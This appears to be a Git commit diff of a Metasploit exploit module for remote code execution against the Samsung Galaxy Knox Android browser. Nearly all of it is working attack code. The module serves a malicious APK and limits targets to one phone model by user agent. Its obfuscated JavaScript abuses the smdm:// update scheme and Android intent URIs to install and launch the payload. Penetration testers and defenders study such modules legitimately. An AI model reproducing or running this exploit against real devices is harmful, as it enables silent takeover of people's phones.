@@ -18,9 +18,21 @@ class Metasploit3 < Msf::Exploit::Remote
18
18
:arch => ARCH_ARMLE ,
19
19
:javascript => true ,
20
20
:rank => ExcellentRanking ,
21
- :vuln_test => VULN_CHECK_JS
21
+
22
+ # For BAP we only allow whitelisted devices/firmwares
23
+ # that we have tested:
24
+ # - Samsung S4
25
+ :vuln_test => %Q|
26
+ is_vuln = navigator.userAgent.match(
27
+ /SAMSUNG GT-I9505/
28
+ );
29
+ |
22
30
)
23
31
32
+ # Hash that maps payload ID -> (0|1) if an HTTP request has
33
+ # been made to download a payload of that ID
34
+ attr_reader :served_payloads
35
+
24
36
def initialize ( info = { } )
25
37
super ( update_info ( info ,
26
38
'Name' => 'Samsung Galaxy Knox Android Browser RCE' ,
@@ -48,9 +60,7 @@ def initialize(info = {})
48
60
'DefaultTarget' => 0 ,
49
61
'BrowserRequirements' => {
50
62
:source => 'script' ,
51
- :os_name => OperatingSystems ::Match ::ANDROID ,
52
- :vuln_test => VULN_CHECK_JS ,
53
- :vuln_test_error => 'The client is not vulnerable.'
63
+ :os_name => OperatingSystems ::Match ::ANDROID
54
64
}
55
65
) )
56
66
@@ -60,15 +70,33 @@ def initialize(info = {})
60
70
] )
61
71
] , self . class )
62
72
63
-
64
73
deregister_options ( 'JsObfuscate' )
65
74
end
66
75
76
+ def exploit
77
+ @served_payloads = Hash . new ( 0 )
78
+ super
79
+ end
80
+
81
+ def apk_bytes
82
+ payload . encoded
83
+ end
84
+
67
85
def on_request_uri ( cli , req )
68
- if req . uri =~ /\. apk$/
69
- is_head = req . method . upcase == 'HEAD'
70
- print_status "Serving #{ is_head ? 'metadata' : 'payload' } ..."
71
- send_response ( cli , is_head ? '' : payload . encoded , magic_headers )
86
+ if req . uri =~ /\/ ([a-zA-Z0-9]+)\. apk\/ latest$/
87
+ if req . method . upcase == 'HEAD'
88
+ print_status "Serving metadata..."
89
+ send_response ( cli , '' , magic_headers )
90
+ else
91
+ print_status "Serving payload '#{ $1} '..."
92
+ @served_payloads [ $1] = 1
93
+ send_response ( cli , apk_bytes , magic_headers )
94
+ end
95
+ elsif req . uri =~ /_poll/
96
+ puts "Polling #{ req . qstring [ 'id' ] } : #{ @served_payloads [ req . qstring [ 'id' ] ] } "
97
+ send_response ( cli , @served_payloads [ req . qstring [ 'id' ] ] . to_s , 'Content-type' => 'text/plain' )
98
+ elsif req . uri =~ /launch$/
99
+ send_response_html ( cli , launch_html )
72
100
else
73
101
super
74
102
end
@@ -81,28 +109,62 @@ def on_request_exploit(cli, req, browser)
81
109
end
82
110
83
111
def magic_headers
84
- { 'Content-Length' => payload . encoded . length ,
85
- 'ETag' => Digest ::MD5 . hexdigest ( payload . encoded ) ,
112
+ { 'Content-Length' => apk_bytes . length ,
113
+ 'ETag' => Digest ::MD5 . hexdigest ( apk_bytes ) ,
86
114
'x-amz-meta-apk-version' => datastore [ 'APK_VERSION' ] }
87
115
end
88
116
89
117
def generate_html
90
118
%Q|
91
119
<!doctype html>
92
- <html><body><script>
120
+ <html><body>
121
+ <script>
93
122
#{ exploit_js }
94
123
</script></body></html>
95
124
|
96
125
end
97
126
98
127
def exploit_js
128
+ payload_id = rand_word
129
+
99
130
js_obfuscate %Q|
100
131
101
- setInterval(function(){
132
+ function poll() {
133
+ var xhr = new XMLHttpRequest();
134
+ xhr.open('GET', '_poll?id=#{ payload_id } &d='+Math.random()*999999999999);
135
+ xhr.onreadystatechange = function(){
136
+ if (xhr.readyState == 4) {
137
+ if (xhr.responseText == '1') {
138
+ setTimeout(killEnrollment, 100);
139
+ } else {
140
+ setTimeout(poll, 1000);
141
+ setTimeout(enroll,0);
142
+ setTimeout(enroll,500);
143
+ }
144
+ }
145
+ };
146
+ xhr.onerror = function(){ setTimeout(poll, 1000); };
147
+ xhr.send();
148
+ }
149
+
150
+ function enroll() {
102
151
var loc = window.location.href.replace(/[/.]$/g, '');
103
152
window.location = 'smdm://#{ rand_word } ?update_url='+
104
- encodeURIComponent(loc)+'.apk';
105
- }, 500);
153
+ encodeURIComponent(loc)+'/#{ payload_id } .apk';
154
+ }
155
+
156
+ function killEnrollment() {
157
+ window.location = "intent://#{ rand_word } ?program="+
158
+ "#{ rand_word } /#Intent;scheme=smdm;launchFlags=268468256;end";
159
+ setTimeout(launchApp, 300);
160
+ }
161
+
162
+ function launchApp() {
163
+ window.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
164
+ }
165
+
166
+ enroll();
167
+ setTimeout(poll,600);
106
168
107
169
|
108
170
end
0 commit comments